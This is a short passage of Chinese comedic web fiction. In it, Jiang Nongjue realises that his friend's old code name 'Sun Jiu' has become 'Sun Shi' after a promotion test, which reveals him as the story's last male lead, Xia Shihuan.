他慢悠悠道:“不想告诉我自然也无妨,但你这反应……该不会,‘隼九’也不是你现在的代号吧?” 隼九的肩膀塌下去一点点,像是某种无声的默认。 “去北疆路上截你之时,正值升级考核结束,便下意识报了,以前的代号。” 江弄玦看着眼前这个平日杀伐果断、此刻却因为一个名字而显得有点无措的“朋友”,心头的探究忽然就散了。 他能将“隼九”这个身份与自己分享至此,已是莫大的信任。 等等。 升级考核? 江弄玦的大脑像是卡住的齿轮,缓缓转动了一下。 涧中林……排名……考核…… 反射弧绕了银河系三周后终于归位,江弄玦倒抽一口冷气,手指颤抖地指向对面。 “你!” “你你你!” 隼九茫然:“怎么了?” “你!以前的代号是‘隼九’!过了升级考核,那你不就是……” 江弄玦咽了咽口水,发出一声破音的咆哮—— “你不就是隼十吗!!” 前隼九·现隼十被他吼得微微后仰,眼中还带着一点茫然的委屈。 “……还是,很好理解的吧?” 很好理解的吧? 重点不是这个啊!! 江弄玦无声尖叫—— 找到了!!最后一个男主!—— 夏拾欢!!!